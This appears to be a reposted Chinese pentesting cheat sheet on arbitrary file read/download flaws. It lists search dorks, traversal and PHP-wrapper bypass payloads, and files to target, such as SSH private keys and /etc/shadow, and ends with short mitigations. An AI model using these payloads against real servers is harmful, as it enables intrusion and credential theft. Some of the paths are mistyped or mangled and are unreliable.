文件读取/下载漏洞备忘录,个人知识归档。
——前言
阅读声明:纯技术分享,文章仅供参考,文中的知识或工具仅限于读者对自己所负责的网站、服务器等进行学习研究和授权测试,严禁用于一切未授权测试和非法测试,否则产生的一切后果自行承担,与本文作者无关!!!
0x00 介绍
任意文件读取/下载漏洞,指攻击者通过存在脆弱性的业务接口,绕过应用程序限制,直接读取或下载应用程序之外文件的漏洞。这种漏洞通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的;攻击者可以利用该漏洞读取或下载服务器文件,如脚本代码,服务器配置或者是系统配置等等,为提供攻击者更多可用信息,增加企业被入侵风险。
0x01 测试
1.谷歌语法:
-
inurl:"readfile.php?file="
-
inurl:"read.php?filename="
-
inurl:"download.php?file="
-
inurl:"download.php?path="
-
inurl:"down.php?file="
-
inurl:"data.php?file="
-
图片加载
-
图片下载
-
文件上传功能
-
日志记录
-
配置文件查看
-
文件处理
-
......
-
download.php?path=
-
download.php?file=
-
down.php?file=
-
data.php?file=
-
readfile.php?file=
-
read.php?filename=
4.常见参数:
-
&RealPath=
-
&filepath=
-
&Filepath=
-
&Path=
-
&path=
-
&inputFile=
-
&Inputfile=
-
&url=
-
&urls=
-
&Lang=
-
&dis=
-
&data=
-
&Data=
-
&readfile=
-
&filep=
-
&src=
-
&menu=
-
&META-INF=
-
&WEB-INF=
0x02 绕过
1.双写绕过
....//..././etc/passwd
2.URL编码绕过
%2e%2e%2f%2e%2e%2fetc%2fpasswd
3.两层URL编码绕过
%252e%252e%252f%252e%252e%252fetc%252fpasswd
4.16位Unicode编码
. → %u002e
/ → %u2215
-
→ %u2216
5.base64编码绕过
../../../../../../etc/passwd → Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
6.%00截断后缀绕过
../../etc/passwd%00.png
7.文件路径绕过
/var/www/image/../../../etc/passwd
8.特殊字符绕过
-
某些情况下,读文件支持使用Shell通配符,如 ? * 等
-
url中使用 ? # 可能会影响include包含的结果
-
某些情况下,unicode编码不同但是字形相近的字符有同一个效果
9.伪协议绕过
(1)file
?file=file:///etc/passwd
(2)http|https|ftp
?file=[http|https|ftp]://www.test.com/test.txt
(3)php://input(post请求)
?file=php://input
⭐[POST bady]: <?php phpinfo(); ?>
(4)php://filter
?file=php://filter/convert.base64-encode/resource=../../etc/passwd
(5)data
?file=data://text/plain,../../../../etc/passwd
?file=data://text/plain;base64,Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
(6)zip|bzip2|zlib
①zip
?file=zip://D:phpStudyWWWtest.zip%23test.txt
②compress.bzip2://file.bz2
?file=compress.bzip2://D:phpStudyWWWtest.txt
③compress.zlib://file.gz
?file=compress.zlib://D:phpStudyWWWtest.txt
(7)phar
?file=phar://D:/phpStudy/WWW/test.zip/test.txt
10.HPP(HTTP参数污染)、分块传输、填充垃圾字符
0x03 利用
1. 查看常规的配置文件,如ssh、数据库、ftp、中间件等相关配置;
2. 查看常规的敏感信息的文件,如各用户的.bash_history等;
3. 查看各种log文件,找找网站后台、用户密码、别人的shell、文件上传点等;
4. 下载web源代码,进行白盒审计;
5. 以下为常用文件路径:
(1)Windows
#Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
C:Windowswin.ini //Windows系统的一个基本系统配置文件
c:windowssystem.ini //Windows初始配置信息的重要文件
## 需要管理员权限
%ProgramData%MicrosoftSearchDataApplicationsWindowsWindows.edb
%ProgramData%MicrosoftSearchDataApplicationsWindowsGatherLogsSystemIndex //目录下文件名类似SystemIndex.[数字序号].gthr
###日志文件
%systemroot%System32winevtLogsApplication.evtx
%systemroot%System32winevtLogsConnectionInfo.evtx
%systemroot%System32winevtLogsError.evtx
%systemroot%System32winevtLogsHardwareEvents.evtx
%systemroot%System32winevtLogsInternet Explorer.evtx
%systemroot%System32winevtLogsKey Management Service.evtx
%systemroot%System32winevtLogsMedia Center.evtx
%SystemRoot%System32WinevtLogsWindows PowerShell.evtx
%systemroot%System32winevtLogsMicrosoft-Windows-API-Tracing%4Operational.evtx
%systemroot%System32winevtLogsMicrosoft-Windows-AppID%4Operational.evtx
%systemroot%System32winevtLogsMicrosoft-Windows-Application Server-Applications%4Admin.evtx
%systemroot%System32winevtLogsMicrosoft-Windows-Application Server-Applications%4Operational.evtx
## 不需要管理员权限
%userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt //类似.bash_history
%userprofile%appdatalocaliconcache.db //类似locate的db文件
(2)Linux
#Linux
## ssh相关
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/id_ras.keystore
/root/.ssh/authorized_keys
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
##常规配置文件
/etc/passwd
/etc/shadow
/etc/hosts
/etc/my.cnf //mysql配置文件
/etc/redis.conf //redis配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/var/www/html/index.html //apache默认页面
/etc/httpd/conf/httpd.conf //apache配置文件
/opt/nginx/conf/nginx.conf //nginx 的配置文件
/root/.wget-hsts
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/sched_debug // 提供 cpu 上正在运行的进程信息,可以获得进程的 pid 号,可以配合后面需要 pid的利用
/proc/net/arp //arp 表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version // 内核版本
/porc/self/cmdline //当前进程的cmdline参数
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含 getshell
/proc/[PID]/cwd // 当前进程的工作目录
/proc/[PID]/fd/[#] // 访问 file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
1.在配置文件中限制访问的文件目录;
2.检查用户输入,过滤或转义含有../、..、%00,..,./,#等跳转目录或字符终止符、截断字符的输入;
3.使用正则严格校验用户输入字符的合法性,比如文件类型、文件地址、文件内容等;
4.白名单限定访问文件的目录、路径、名称;
5.白名单限定访问文件的后缀,如:jpg、gif、png、rar、zip、pdf、doc、xls、ppt等。
原文始发于微信公众号(黑域之路):05-文件读取/下载备忘录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论